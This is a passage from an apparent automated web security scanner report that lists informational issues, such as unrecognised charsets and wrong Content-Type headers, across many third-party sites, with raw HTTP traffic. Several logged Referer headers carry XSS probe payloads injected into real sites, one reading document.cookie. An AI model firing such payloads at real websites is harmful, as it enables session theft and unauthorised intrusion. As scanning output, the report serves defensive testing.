GET /journals.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCACARTTB=ALGCLOKCEOKAINCBILDCJKJP;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 12076
Content-Type: text/html
Cache-control: private

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>SLACK Incorporated: Journals</title>
<STYLE type="text/css">
.header16, .header14, .header13, .header9, .he
...[SNIP]...

30.99. http://www.slackinc.com/permissions/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackinc.com
Path:	/permissions/

Request

Response

30.100. http://www.slackinc.com/privacypolicy.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackinc.com
Path:	/privacypolicy.asp

Request

GET /privacypolicy.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.101. https://www.slackinc.com/reprints/order.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.slackinc.com
Path:	/reprints/order.asp

Request

GET /reprints/order.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.102. https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/atshcstep1.asp

Request

GET /subscribe/newsubs/atshcstep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.103. https://www.slackinc.com/subscribe/newsubs/otistep1.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/otistep1.asp

Request

GET /subscribe/newsubs/otistep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.104. http://www.stunnel.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stunnel.org
Path:	/

Request

GET / HTTP/1.1
Host: www.stunnel.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

30.105. http://www.vibrantmedia.com/about/careers.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/about/careers.asp

Request

GET /about/careers.asp HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maintab=tcontent2; ASPSESSIONIDQADSARBD=AKAGFMCCECLPJIFLFOEMFLCL;

Response

HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Length: 366
Content-Type: text/html
Server: Microsoft-IIS/7.5
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:16:10 GMT
Connection: close

<font face="Arial" size=2>
<p>Active Server Pages</font> <font face="Arial" size=2>error 'ASP 0126'</font>
<p>
<font face="Arial" size=2>Include file not found</font>
<p>
<font face="Arial" size=2>/a
...[SNIP]...

30.106. http://www.vibrantmedia.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vibrantmedia.com
Path:	/favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: www.vibrantmedia.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDQADSARBD=AKAGFMCCECLPJIFLFOEMFLCL; maintab=tcontent2

Response

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 08 Sep 2010 17:12:34 GMT
Accept-Ranges: bytes
ETag: "0ad297794fcb1:0"
Server: Microsoft-IIS/7.5
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:36:47 GMT
Content-Length: 21122

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Vibrant - The Leaders of Contex
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.webmd.com
Path:	/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Request

GET /$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/ HTTP/1.1
Host: www.webmd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Content-Length: 103
Content-Type: text/html
Server: Microsoft-IIS/6.0
Date: Sun, 06 Feb 2011 16:03:32 GMT
Connection: close

<html><head><title>Error</title></head><body>The system cannot find the file specified.
</body></html>

30.108. http://www.whselfinvest.de/banner/whsbanner.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.whselfinvest.de
Path:	/banner/whsbanner.php

Request

Response

31. HTML uses unrecognised charset previous next
There are 6 instances of this issue:

https://secure.opinionlab.com/comment20AMX.asp
http://tools.ietf.org/html/rfc3492
http://tools.ietf.org/html/rfc3986
http://www.activeconversion.com/
http://www.ad4mat.de/ads/conbanner_bild1.php
http://www.tocka.com.mk/sonovnik.php

Issue background

Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

31.1. https://secure.opinionlab.com/comment20AMX.asp previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	https://secure.opinionlab.com
Path:	/comment20AMX.asp

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:

UTF-16
UTF-8

Request

GET /comment20AMX.asp HTTP/1.1
Host: secure.opinionlab.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

31.2. http://tools.ietf.org/html/rfc3492 previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://tools.ietf.org
Path:	/html/rfc3492

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

latin-1

Request

GET /html/rfc3492 HTTP/1.1
Host: tools.ietf.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:42 GMT
Server: Apache/2.2.16 (Debian)
Content-Location: rfc3492.html
Vary: negotiate,Accept-Encoding
TCN: choice
Last-Modified: Sun, 07 Nov 2010 08:56:49 GMT
ETag: "ea718a-154ca-49472b0215640;49b90b306b600"
Accept-Ranges: bytes
Content-Length: 87242
Connection: close
Content-Type: text/html; charset=latin-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head profile="http://dublincore.org/documents/2008/08/04/dc-html/">
<meta http-equiv="Content-Type" content="text/html; charset=latin-1" />
<meta name="robots" content="index,follow" />
...[SNIP]...

31.3. http://tools.ietf.org/html/rfc3986 previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://tools.ietf.org
Path:	/html/rfc3986

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

latin-1

Request

GET /html/rfc3986 HTTP/1.1
Host: tools.ietf.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

31.4. http://www.activeconversion.com/ previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://www.activeconversion.com
Path:	/

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:

UTF-8
unicode

Request

GET / HTTP/1.1
Host: www.activeconversion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:55 GMT
Server: Apache
Last-Modified: Thu, 03 Feb 2011 17:03:51 GMT
ETag: "2b801a-48fc-49b63bfeeabc0"
Accept-Ranges: bytes
Content-Length: 18684
Connection: close
Content-Type: text/html; charset=UTF-8
X-Pad: avoid browser bug

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><meta name="generator" content="Fog Creek CityDesk 2.0.25" />
<meta name="citydesk" content="6A42636B/15" />
<title>Market
...[SNIP]...
</TITLE>
<META content="text/html; charset=unicode" http-equiv=Content-Type>
<META name=keywords content="online lead generation, lead generation tool, customer acquisition, digital marketing, Business to business lead generation, sales force automation">
...[SNIP]...

31.5. http://www.ad4mat.de/ads/conbanner_bild1.php previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://www.ad4mat.de
Path:	/ads/conbanner_bild1.php

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

iso-8559-1

Request

GET /ads/conbanner_bild1.php?cat=bild_bildbanner&w=728&h=90&zanox_tracking_host=http://ad.zanox.com/ppc/&zanox_tracking_param=14786739C435671106%26ULP HTTP/1.1
Host: www.ad4mat.de
Proxy-Connection: keep-alive
Referer: http://www.shoppinga.de/?bd2d5%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Ee3b5e976e9e=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=a6c7ac389b2a2067a941af7e3ddfbc39; ad4mat_lb=1950001491.20480.0000

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html
Content-Length: 3914
Date: Sun, 06 Feb 2011 17:04:45 GMT
X-Varnish: 3191970780
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="expires" content="0"><meta http-equiv="cache-control" content="no-cache"><meta http-equiv="Content-Type" content="text/html;charset=iso-8559-1"><title>
...[SNIP]...

31.6. http://www.tocka.com.mk/sonovnik.php previous next

Summary

Severity:	Information
Confidence:	Tentative
Host:	http://www.tocka.com.mk
Path:	/sonovnik.php

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

windows-1251

Request

GET /sonovnik.php HTTP/1.1
Host: www.tocka.com.mk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32. Content type incorrectly stated previous next
There are 86 instances of this issue:

http://a.ligatus.com/favicon.ico
http://a1.twimg.com/profile_images/318408304/wappenbeckum_normal.gif
http://a2.twimg.com/profile_images/272035086/Afrika_normal.gif
http://a3.twimg.com/profile_images/266810846/Foto_Marco_Rossegger_normal.GIF
http://ad.doubleclick.net/clk
http://amch.questionmarket.com/adscgen/st.php
http://api.tweetmeme.com/button.js
http://appcdn.wibiya.com/Handlers/newsticker.php
http://ar.voicefive.com/b/rc.pli
http://blogmarks.net/
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://c03.adsummos.net/a/e/error.ads
http://c03.adsummos.net/a/e/s21719
http://gdata.youtube.com/feeds/
http://homeappliance.manualsonline.com/proxy.class.php
http://homeappliance.manualsonline.com/regman/user/getUserBlock
http://in.getclicky.com/
https://in.getclicky.com/
http://javadl-esd.sun.com/update/AU/map-2.0.2.4.xml
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php
http://mm.chitika.net/favicon.ico
http://now.eloqua.com/visitor/v200/svrGP.aspx
https://onlineapps.ibanking-services.com/olnas/OLNASServlet/StappsApp
http://owneriq.postaffiliatepro.com/scripts/track.php
http://personalsavings.americanexpress.com/javascripts/rates.json
http://pixel.intellitxt.com/pixel.jsp
http://rt32.infolinks.com/action/doq.htm
http://rt82.infolinks.com/action/doq.htm
http://rt83.infolinks.com/action/doq.htm
http://starpulse.us.intellitxt.com/intellitxt/switch.asp
http://static.getclicky.com/
https://static.getclicky.com/
http://survey.questionmarket.com/noauth/ktag_log.php
http://system.referforex.com/processing/impressions.asp
http://tools.cisco.com/search/display
http://track2.mybloglog.com/js/jsserv.php
http://track2.mybloglog.com/tr/urltrk.php
http://urlist.info/search/Kelentik
http://urls.api.twitter.com/1/urls/count.json
http://us.blackberry.com/favicon.ico
http://us.blackberry.com/foresee/foresee-surveydef.js
http://uselessjunk.com/article_full.php
http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt
http://videos.video-loader.com/sp/10711909126097144647865.js
http://videos.video-loader.com/sp/212119091279653321133331.js
http://videos.video-loader.com/sp/350119091292093356328905.js
http://videos.video-loader.com/sp/37211909126091178247379.js
http://videos.video-loader.com/sp/50811909125880119639927.js
http://videos.video-loader.com/sp/798119091292066790328795.js
http://videos.video-loader.com/sp/81211909126097148926263.js
http://webmail.aol.com/$|http:/travel.aol.com/$|http:/netscape.aol.com/$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
http://widgets.etoro.com/calendar/CalendarJS.aspx
http://widgets.etoro.com/championship/ChampJS.aspx
https://www.blackberry.com/profile/
http://www.csc.gatech.edu/copeland/jac/6612/info/SSH-No-Password-Login.txt
http://www.download32.com/images/thumb/Bricolsoft_Zip_Compression_Library-161033.png
http://www.download32.com/images/thumb/mso2%20thum.gif
http://www.filetransit.com/images/thumb/2d87c03cd41f91bf73891204a7e5136d_Axence_NetTools_Pro.gif
http://www.filetransit.com/images/thumb/dc6c5c025c75144466152decaf8b7627_Magic_Basket.jpg
http://www.freedownloadscenter.com/Reviews/
http://www.freedownloadscenter.com/favicon.ico
http://www.google.com/uds/Gfeeds
http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD>
http://www.jazdtech.com/techdirect/lg/logImpressions.htm
http://www.khabbr.com/
http://www.kledy.de/checkfield.php
http://www.linuxsecurity.com/images/distros/dist-foresight.gif
http://www.linuxsecurity.com/static-content/packetstorm.html
http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/box-header-top-left.png
http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/box-header-top-right.png
http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/contribute.png
http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/ls-logo.gif
http://www.mittelstandsblog.de/wp-content/themes/j4b20/gam_header.js
http://www.netvouz.com/web/images/favicon.ico
http://www.netvouz.com/web/images/h6_green.png
http://www.netvouz.com/web/images/searchtips.gif
http://www.orthougm.com/favicon.ico
http://www.orthougm.com/ldr.js
http://www.owneriq.com/images/favicon.ico
http://www.vibrantmedia.com/about/careers.asp
http://www.w3.org/TR/html4/loose.dtd
http://www.w3.org/TR/html4/strict.dtd
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd
http://www.whselfinvest.de/banner/whsbanner.php
http://www2.sesamestats.com/paneltracking.aspx

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

32.1. http://a.ligatus.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://a.ligatus.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: a.ligatus.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 18:27:44 GMT
Server: Apache
Last-Modified: Wed, 23 Aug 2006 14:57:26 GMT
ETag: "2d28102-47e-41bb08fb46180"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: text/plain
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 18:37:44 GMT
Connection: Keep-Alive
Content-Length: 1150

............ .h.......(....... ..... ..........................................................................................................................{k..{k..{k..{k..{k..{k...................
...[SNIP]...

32.2. http://a1.twimg.com/profile_images/318408304/wappenbeckum_normal.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://a1.twimg.com
Path:	/profile_images/318408304/wappenbeckum_normal.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /profile_images/318408304/wappenbeckum_normal.gif HTTP/1.1
Host: a1.twimg.com
Proxy-Connection: keep-alive
Referer: http://www.klivio.com/?34aa6%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Eceac919ade3=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: max-age=252460800
Content-Length: 4740
Content-Type: image/gif
ETag: "8e2a9187ee200df39a70c6d34ecec018"
Expires: Wed, 06 Feb 2019 16:16:53 GMT
Last-Modified: Fri, 17 Jul 2009 17:24:13 GMT
Accept-Ranges: bytes
Server: AmazonS3
X-Amz-Cf-Id: e60136a57b33cfb7fdacfec34721f8e4080173b71d2c92a6527ebbafd054b34fd1f4193d2c1694c5,bb130764f53b78326ce4cec3116033caa708b4b24da0f9107a496d3fee4162f526bad8e11f0788fa
x-amz-id-2: +TtD9ys0+gd/njV8IqKBm/yUp+ZfTvLXombM5sDXvc61QoGMvqRIoKGMROiGMRHS
x-amz-request-id: 3973734DD3D71102
X-Cache: Miss from cloudfront
Date: Sun, 06 Feb 2011 16:16:53 GMT
Connection: keep-alive

.PNG
.
...IHDR...0...0.....W.......bKGD.......C.... pHYs...H...H.F.k>... vpAg...0...0....W....IDATh...ip\W....^...[[km..,..-...dq..c.@&....0@..*(*......a.a....`(.a ...IB..vb[...%k.-k.-.%K.^.......-
...[SNIP]...

32.3. http://a2.twimg.com/profile_images/272035086/Afrika_normal.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://a2.twimg.com
Path:	/profile_images/272035086/Afrika_normal.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /profile_images/272035086/Afrika_normal.gif HTTP/1.1
Host: a2.twimg.com
Proxy-Connection: keep-alive
Referer: http://www.klivio.com/?34aa6%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Eceac919ade3=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: max-age=252460800
Date: Sun, 06 Feb 2011 16:52:22 GMT
Content-Length: 2813
Content-Type: image/gif
ETag: "e5fe541ce92455ef704890cdbad17ca6"
Expires: Thu, 17 Jan 2019 17:14:29 GMT
Last-Modified: Fri, 19 Jun 2009 22:45:43 GMT
Accept-Ranges: bytes
Server: AmazonS3
X-Amz-Cf-Id: d66c6a32963ac5ce55fc5493d2c1f12fc1bf7b55bdba08c55562ca0d9e82f1b3d33f1dd3e5fbb544,7165b9d61c74499cb0757b243ad2163c5ec05c618d85e1d947ac80e847e4cbb71a01b9d705c10e6d
x-amz-id-2: VBkuwTZcog5zMwX+GDqzOK67mlBis2x44Uvv+6Z9AQxN7bW6mybxN9fvuOg8Yazx
x-amz-request-id: 73DDCB745C1DEBD1
X-Cache: Miss from cloudfront
Connection: keep-alive

.PNG
.
...IHDR...0...0......`n.... pHYs...H...H.F.k>... vpAg...0...0....W..
.IDATX......Gn.?..Y......!)R.w......v........\K...H...{..#...zx....H.C=...%>..."w.{..r....:.q..........0.Uef.f^.. .......
...[SNIP]...

32.4. http://a3.twimg.com/profile_images/266810846/Foto_Marco_Rossegger_normal.GIF previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://a3.twimg.com
Path:	/profile_images/266810846/Foto_Marco_Rossegger_normal.GIF

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /profile_images/266810846/Foto_Marco_Rossegger_normal.GIF HTTP/1.1
Host: a3.twimg.com
Proxy-Connection: keep-alive
Referer: http://www.klivio.com/?34aa6%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Eceac919ade3=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: max-age=252460800
Content-Length: 4882
Content-Type: image/gif
ETag: "d150f20c29351f8e2859c6c7d83c26ff"
Expires: Wed, 06 Feb 2019 16:25:25 GMT
Last-Modified: Wed, 17 Jun 2009 09:46:34 GMT
Accept-Ranges: bytes
Server: AmazonS3
X-Amz-Cf-Id: 96a104a3cc4cbbc6130def1f33d86b1c97bb214c343a13112c42bedc94b31e59f519fe4872fb6d57,57ebfad91feb80dbc7b729e15988f31fab101ed23e4096c8efa94462746c0d2480946bffb67992c3
x-amz-id-2: ATCWxHZd+6HLKQLt2sF46UftFwu7lHOKde+Pf159tL7VmnDw/uG28BAF/f1lHcF2
x-amz-request-id: A9FEEC19733BB576
X-Cache: Miss from cloudfront
Date: Sun, 06 Feb 2011 16:25:25 GMT
Connection: keep-alive

.PNG
.
...IHDR...0...0......`n.... oFFs....... ....... pHYs...H...H.F.k>... vpAg...0...B....#....IDATX.MXY.$.q...:............E.4.C..I..z......6.?b...`=.....`..$X..: Q.D.Z.Er.{....3}w..G...GV..Q($
...[SNIP]...

32.5. http://ad.doubleclick.net/clk previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://ad.doubleclick.net
Path:	/clk

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain XML.

Request

Response

HTTP/1.1 500 Error: Not a valid request
Content-Type: text/html
Content-Length: 45
Date: Sat, 05 Feb 2011 21:50:26 GMT
Server: GFE/2.0
Connection: close

<h1>Error 500 Error: Not a valid request</h1>

32.6. http://amch.questionmarket.com/adscgen/st.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

32.7. http://api.tweetmeme.com/button.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://api.tweetmeme.com
Path:	/button.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

32.8. http://appcdn.wibiya.com/Handlers/newsticker.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://appcdn.wibiya.com
Path:	/Handlers/newsticker.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /Handlers/newsticker.php?callback=jsonp_2715064_0&url=http%3A//www.kledy.de/rss_dts.php HTTP/1.1
Host: appcdn.wibiya.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1286380163-1295459907704

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=3600
Content-Type: text/html; charset=UTF-8
Date: Sat, 05 Feb 2011 23:08:10 GMT
Expires: Sun, 06 Feb 2011 00:08:10 GMT
Last-Modified: Sat, 05 Feb 2011 22:06:11 GMT
Server: ECS (dca/5333)
Vary: Accept-Encoding
X-Cache: HIT
X-Powered-By: PHP/5.2.6-3ubuntu4.4
Content-Length: 51568

jsonp_2715064_0({"name":"Kledy.de | Aktuelle News","posts":[{"title":"Lottozahlen vom Samstag (05.02.2011)","description":" In der Samstags-Ausspielung von "6 aus 49" des Deutschen Lotto- und
...[SNIP]...

32.9. http://ar.voicefive.com/b/rc.pli previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://ar.voicefive.com
Path:	/b/rc.pli

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /b/rc.pli?func=COMSCORE.BMX.Broker.handleInteraction&n=ar_int_p68511049&1296999647490 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
